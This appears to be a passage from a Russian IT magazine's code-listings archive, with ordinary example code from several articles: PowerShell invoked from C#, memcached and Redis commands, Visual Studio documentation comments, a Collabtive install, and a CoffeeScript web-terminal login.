AddScript(script).AddCommand(outCmd).Invoke()) { Str…; // Возвращаемые данные данных } Листинг 2. Выполнение программного кода PowerShell в Dot.NET (C#) // Выполняемый программный код string script = @" # Определение имени пользователя $val = 'Имя пользователя: {0}' -f (dir env:username).value # Вывод на экран имени пользователя $val # Вывод строки - раздела из 25 символов * [string]$a=$null $a.PadLeft(25,'*') # Вывод переменных среды на экран dir env: "; // Командлет, направляющий поток данных string outCmd = "Out-String"; // Вызов PowerShell-интерпретатора foreach (string str in PowerShell.Create(). AddScript(script).AddCommand(outCmd).Invoke()) { richTextBox1.AppendText(str); } Листинг 3. Запуск PowerShell-сценария из C# string script = @"f:\test.ps1 "; string outCmd = "Out-String"; foreach (string str in PowerShell.Create(). AddScript(script).AddCommand(outCmd).Invoke()) { richTextBox1.AppendText(str); } Листинг 4. Удаленное выполнение сценария с заданными параметрами безопасности string script = @" $username = '…' $password = '…' $serverName = '…' $pwd = ConvertTo-SecureString -String $password -asplaintext -force $cred = New-Object -TypeName System.Management. Automation.PSCredential -argumentlist $username,$pwd Invoke-Command -ComputerName $serverName -ScriptBlock {(dir env:computername).value} -Credential $cred "; string outCmd = "Out-String"; foreach (string str in PowerShell.Create(). AddScript(script).AddCommand(outCmd).Invoke()) { richTextBox1.AppendText(str); } Листинг 5. Безопасное выполнение сценария на удаленном компьютере string script = @" $serverName = '…' $cred = Get-Credential Invoke-Command -ComputerName $serverName -ScriptBlock {(dir env:computername).value} -Credential $cred" "; string outCmd = "Out-String"; foreach (string str in PowerShell.Create(). AddScript(script).AddCommand(outCmd).Invoke()) { richTextBox1.AppendText(str); } Листинг 6. Загрузка модуля во время работы сценария на удаленном компьютере string script = @" $serverName = '…' $cred = Get-Credential Invoke-Command -ComputerName $serverName -ScriptBlock { import-module webadministration dir iis: | %{$_.name} } -Credential $cred "; string outCmd = "Out-String"; foreach (string str in PowerShell.Create(). AddScript(script).AddCommand(outCmd).Invoke()) { richTextBox1.AppendText(str); } Листинг 7. Загрузка DLL-библиотеки во время работы сценария на удаленном компьютере string script = @" $serverName = '…' $cred = Get-Credential Invoke-Command -ComputerName $serverName -ScriptBlock { [system.reflection.assembly]::LoadFrom('c:\windows\system32\inetsrv\microsoft.web.administration.dll') | out-null $obj = new-object Microsoft.Web.Administration.↵ ServerManager $obj.sites |% {$_.name} } -Credential $cred "; string outCmd = "Out-String"; foreach (string str in PowerShell.Create(). AddScript(script).AddCommand(outCmd).Invoke()) { richTextBox1.AppendText(str); } ----------------------------------------------------------------------------------------------------------------- Не SQL единым. Часть 1: в дебри key/value Кирилл Сухов addServer('localhost', 11211); $m->set('foo', 100); var_dump($m->get('foo')); ?> #!/usr/local/bin/perl use Cache::Memcached; $memcached = new Cache::Memcached { 'servers' => '/var/sock/memcached', 'debug' => 0, }; $memcached->set("ID", 1); my $id= $memcached->get("ID"); my $tnext_id = $memcached->incr("ID"); // 2 $ ./redis-cli sadd myset 1 $ ./redis-cli sadd myset 2 $ ./redis-cli sadd myset 3 $ ./redis-cli smembers myset $ ./redis-cli sismember myset 3 $ ./redis-cli sismember myset 30 $ ./redis-cli rpush messages "Hello how are you?" $ ./redis-cli rpush messages "Fine thanks. I'm having fun with Redis" $ ./redis-cli rpush messages "I should look into this NOSQL thing ASAP" $ ./redis-cli lrange messages 0 2 ----------------------------------------------------------------------------------------------------------------- Дуплекс между WCF и браузером по http. Привязка pollingDuplexHttpBinding – Сomet Алексей Бойко Листинг 1. Настройка режима SingleMessagePerPoll Листинг 2. Настройка режима MultipleMessagePerPoll ----------------------------------------------------------------------------------------------------------------- Документирование программного кода в оболочке Visual Studio Иван Коробко Листинг 1а. Пример генерации шаблона описания на основе параметров функции (C#) /// /// /// /// /// /// public string Hello(string FirstName, string SecondName) { string message = string.Format("Hello, {0} {1}!", FirstName, SecondName); return message; } Листинг 1б. Пример генерации шаблона описания на основе параметров функции (VB.NET) ''' ''' ''' ''' ''' ''' ''' Public Function Hello(ByVal FirstName As String, ByVal SecondName As String) As String Dim message As String = String.Format("Hello, {0} {1}!", FirstName, SecondName) Return message End Function Листинг 2. Пример заполненного стандартного шаблона /// /// Фомирует приветственное сообщение на основе указанного имени пользователя /// /// Имя человека /// Фамилия человека /// Приветствие для пользователя public string Hello(string FirstName, string SecondName) { string message = string.Format("Hello, {0} {1}!", FirstName, SecondName); return message; } Листинг 3. Пример заполненного шаблона при перегрузке функции /// /// Фомирует приветственное сообщение на основе указанного имени пользователя /// /// Имя человека /// Фамилия человека /// Приветствие для пользователя public string Hello(string FirstName, string SecondName) { string message = string.Format("Hello, {0} {1}!", FirstName, SecondName); return message; } /// /// Формирует приветственное сообщение на основе фамилии, имени и отчества пользователя /// /// Фамилия человека /// Имя человека /// Отчество /// Приветствие для пользователя public string Hello(string FirstName, string SecondName, string ThirdName) { string message = string.Format("Hello, {1} {0} {2}!", FirstName, SecondName, ThirdName); return message; } Листинг 4. Пример заполненного шаблона для описания свойства /// Свойство Name используется /// для определения имени пользователя. /// Свойство Name доступно для чтения/записи /// по переменной _Name. private string _Name public string Name { get { return _Name; } set { _Name = value; } } Листинг 5. Модернизация документации к функции (методу) /// /// Формирует приветственное сообщение на основе /// фамилии FirstName, /// имени SecondName и отчества /// ThirdName пользователя /// /// /// Пример вызова функции /// /// string FName, SName, TName, HelloMsg = string.Empty; /// FName = "Иван"; /// SName = "Иванов"; /// TName = "Иванович"; /// HelloMsg = Hello(SName, FName, FName); /// /// /// Фамилия человека /// Имя человека /// Отчество человека /// Приветствие для пользователя /// Наступает, когда /// фамилия не задана /// Подробнее см. public string Hello(string FirstName, string SecondName, string ThirdName) { try { if (FirstName == string.Empty) { System.ArgumentException a = new ArgumentException("Укажите фамилию пользователя", "FirstName"); throw a; } string message = string.Format("Hello, {0} {1} {2}!", FirstName, SecondName, ThirdName); return message; } catch (Exception a) { return a.Message; } } ----------------------------------------------------------------------------------------------------------------- Collabtive. Open Source-система управления проектами Сергей Яремчук $ sudo apt-get install mysql-server mysql-client apache2 php5 libapache2-mod-php5 php5-mysql $ sudo a2enmod php5 … $ mkdir /var/www/collabtive $ sudo unzip ./collabtive07.zip -d /var/www/collabtive $ sudo chown -R www-data:www-data /var/www/collabtive $ cd /var/www/collabtive/ $ sudo chmod +x files templates_c config/standard/config.php $ mysql -u root -p mysql> CREATE DATABASE `collabtive`; mysql> GRANT ALL PRIVILEGES ON collabtive.* TO 'collabtive'@'localhost' IDENTIFIED BY 'some_pass' WITH GRANT OPTION; mysql> FLUSH PRIVILEGES; mysql> exit ssl://smtp.gmail.com:465 npm install coffee-script export PATH=$(pwd)/node_modules/.bin:$PATH coffee -c file.coffee создает file.js coffee -w file.coffee express = require 'express' io = require 'socket.io' fs = require 'fs' tty = require 'tty' auth = require './auth' userStore = require './userstore' app = module.exports = express.createServer { key: fs.readFileSync('vt100-key.pem'), cert: fs.readFileSync 'vt100-cert.pem' } MemoryStore = express.session.MemoryStore sessionStore = new MemoryStore … # Configuration COOKIE_NAME = 'vt100.sid' PORT = process.env.port ? 8000 app.configure -> app.set 'views', __dirname + '/views' app.set 'view engine', 'jade' app.use express.bodyParser() ... restricted = auth.requestAuthentication 'Please authenticate', (req, resp) -> return req.session?.authenticated return req.session && req.session.authenticated; io .configure('development', function () { }) io .configure 'development', -> return (function () { … }).call(this) app.post '/login.html', (req, resp) -> user = userStore.getUser req.body.username, req.body.password if user req.session.authenticated = yes req.session.user = user resp.redirect '/terminal.html' … md5 = require 'crypto/md5' exports.getUser = (login, password) -> userDb[login] if login != '' and userDb[login] and userDb[login]._pw_hash == md5.hex_md5(password) userDb = 'val': userName: 'val', fullName: 'Valentine Sinitsyn', shell: '/bin/bash', _pw_hash: '8fe4c11451281c094a6578e6ddbf5eed', class NotAuthenticated extends Error constructor: (@msg) -> super msg … function NotAuthenticated(msg) { this.msg = msg; NotAuthenticated.__super__.constructor.call(this, msg); } -----------------------------------------------------------------------------------------------------------------